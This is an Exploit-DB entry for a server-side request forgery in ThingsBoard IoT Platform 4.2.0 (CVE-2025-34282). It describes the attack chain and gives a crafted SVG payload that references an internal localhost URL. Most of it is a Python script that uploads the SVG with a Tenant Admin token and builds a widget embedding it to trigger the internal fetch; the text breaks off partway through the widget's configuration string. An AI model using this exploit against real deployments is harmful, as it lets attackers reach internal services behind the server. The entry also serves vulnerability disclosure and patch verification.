Exploit-DB #52551
Description: ThingsBoard IoT Platform 4.2.0 - Server-Side Request Forgery (SSRF)
Type: webapps
Platform: multiple
Date: 2026-05-07
Author: 9tamilmathi

Exploit:
# Exploit Title: ThingsBoard IoT Platform 4.2.0 - Server-Side Request Forgery (SSRF) 
# Date: 2026-03-25
# Exploit Author: Tamil Mathi T.
# Vendor Homepage: https://thingsboard.io
# Software Link: https://github.com/thingsboard/thingsboard
# Version: < 4.2.1
# Tested On: ThingsBoard 4.2.0
# CVE: CVE-2025-34282
# References: https://www.cve.org/CVERecord?id=CVE-2025-34282
#             https://github.com/mathitam/thingsboard-ssrf-cve-2025-34282
#
# Description:
#   ThingsBoard versions before 4.2.1 are vulnerable to SSRF via the Image
#   Upload Gallery feature. An attacker can upload a crafted SVG file containing
#   a remote URL reference (e.g. via <image xlink:href="http://127.0.0.1:5555">).
#   When ThingsBoard processes the uploaded SVG server-side, it fetches the
#   referenced URL, allowing the attacker to reach internal services not
#   exposed to the internet.
#
#   Requires a Tenant Admin bearer token. Tenant Admin is a role below System
#   Admin in ThingsBoard's hierarchy and has access to the Widget Library and
#   Image Upload Gallery APIs used in this exploit.
#
#   Attack chain:
#     1. Upload a malicious SVG to POST /api/image
#        -> Server processes the SVG and issues a request to the internal URL
#     2. Create a custom widget embedding the SVG's publicLink via <object> tag
#        -> Widget render also triggers the server-side fetch
#
#   SVG payload used (ssrf_localhost_5555_svg.svg):
#     <?xml version="1.0" standalone="no"?>
#     <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"
#          xmlns:xlink="http://www.w3.org/1999/xlink"
#          xmlns:ev="http://www.w3.org/2001/xml-events">
#     <defs>
#       <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
#         <image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" />
#       </pattern>
#     </defs>
#     <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 ..." fill="url(#img1)" />
#     </svg>
#
# Usage:
#   pip install requests
#   python thingsboard_ssrf.py <svg_file> <bearer_token>
#
# Example:
#   python thingsboard_ssrf.py ssrf_localhost_5555_svg.svg eyJhbGci...

import requests
import json
import os
import sys
import argparse
import time

DEFAULT_URL_UPLOAD = "http://localhost:8080/api/image"
DEFAULT_URL_WIDGET = "http://localhost:8080/api/widgetType"
DEFAULT_REFERER = "http://localhost:8080/resources/images"
DEFAULT_ORIGIN = "http://localhost:8080"

def upload_image(filepath, token):
    if not os.path.isfile(filepath):
        raise SystemExit(f"File not found: {filepath}")

    filename = os.path.basename(filepath)

    mime_types = {
        '.svg': 'image/svg+xml',
        '.jpg': 'image/jpeg',
        '.jpeg': 'image/jpeg',
        '.png': 'image/png',
        '.gif': 'image/gif'
    }
    ext = os.path.splitext(filename)[1].lower()
    mime_type = mime_types.get(ext, 'application/octet-stream')

    headers = {
        "X-Authorization": f"Bearer {token}",
        "User-Agent": "python-requests/2.x",
        "Referer": DEFAULT_REFERER,
        "Origin": DEFAULT_ORIGIN,
    }

    with open(filepath, "rb") as f:
        files = {
            "file": (filename, f, mime_type)
        }
        resp = requests.post(DEFAULT_URL_UPLOAD, headers=headers, files=files, timeout=30, allow_redirects=False)

    return resp

def create_widget(public_link, token):
    headers = {
        "X-Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
        "Accept": "application/json, text/plain, */*",
        "Origin": DEFAULT_ORIGIN,
        "User-Agent": "python-requests"
    }

    template_html = f"""
    <tb-value-card-widget
        [ctx]="ctx"
        [widgetTitlePanel]="widgetTitlePanel">
    </tb-value-card-widget>
    <object data="{public_link}" type="image/svg+xml"></object>
    """

    payload = {
        "fqn": "SSRF_testing_Poc",
        "name": "SSRF_testing_Poc",
        "deprecated": False,
        "image": "tb-image;/api/images/system/air_quality_index_card_system_widget_image.png",
        "description": "Displays the latest air quality index telemetry in a scalable rectangle card.",
        "descriptor": {
            "type": "latest",
            "sizeX": 3,
            "sizeY": 3,
            "resources": [],
            "templateHtml": template_html,
            "templateCss": "",
            "controllerScript": "self.onInit = function() {\n    self.ctx.$scope.valueCardWidget.onInit();\n};\n\nself.onDataUpdated = function() {\n    self.ctx.$scope.valueCardWidget.onDataUpdated();\n};\n\nself.typeParameters = function() {\n    return {\n        maxDatasources: 1,\n        maxDataKeys: 1,\n        singleEntity: true,\n        previewWidth: '250px',\n        previewHeight: '250px',\n        embedTitlePanel: true,\n        supportsUnitConversion: true,\n        defaultDataKeysFunction: function() {\n            return [{ name: 'air', label: 'Air Quality Index', type: 'timeseries' }];\n        }\n    };\n};\n\nself.onDestroy = function() {\n};\n",
            "dataKeySettingsForm": [],
            "settingsDirective": "tb-value-card-widget-settings",
            "hasBasicMode": True,
            "basicModeDirective": "tb-value-card-basic-config",
            "defaultConfig": "{\"datasources\":[{\"type\":\"function\",\"name\":\"function\",\"dataKeys\":[{\"name\":\"f(x)\",\"type\":\"function\",\"label\":\"Air Quality Index\",\"color\":\"#2196f3\",\"settings\":{},\"_hash\":0.[PII_REDACTED],\"funcBody\":\"var value = prevValue + Math.random() * 100 - 50;\\nif (value < 0) {\\n\\tvalue = 0;\\n} else if (value > 320) {\\n\\tvalue = 320;\\n}\\nreturn value;\",\"aggregationType\":null,\"units\":null,\"decimals\":null,\"usePostProcessing\":null,\"postFuncBody\":null}],\"alarmFilterConfig\":{\"statusList\":[\"ACTIVE\"]}}],\"timewindow\":{\"realtime\":{\"timewindowMs\":60000}},\"sh